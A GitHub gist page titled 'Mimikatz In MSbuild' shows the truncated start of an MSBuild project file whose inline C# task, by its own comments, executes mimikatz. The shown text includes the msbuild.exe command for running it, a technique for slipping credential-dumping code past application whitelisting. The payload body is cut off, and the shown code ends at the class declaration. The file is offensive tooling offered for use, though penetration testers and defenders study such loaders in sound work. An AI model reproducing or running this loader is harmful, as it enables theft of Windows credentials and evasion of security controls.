Skip to content

Instantly share code, notes, and snippets.

@jbarcia
Created February 4, 2018 12:17
Show Gist options
  • Save jbarcia/7bfda582fdc9e8994a334ea1f743a791 to your computer and use it in GitHub Desktop.
Save jbarcia/7bfda582fdc9e8994a334ea1f743a791 to your computer and use it in GitHub Desktop.
Mimikatz In MSbuild
This file has been truncated, but you can view the full file.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes mimikatz. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.IO;
using System.IO.Compression;
using System.Text;
public class ClassExample : Task, ITask
{
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment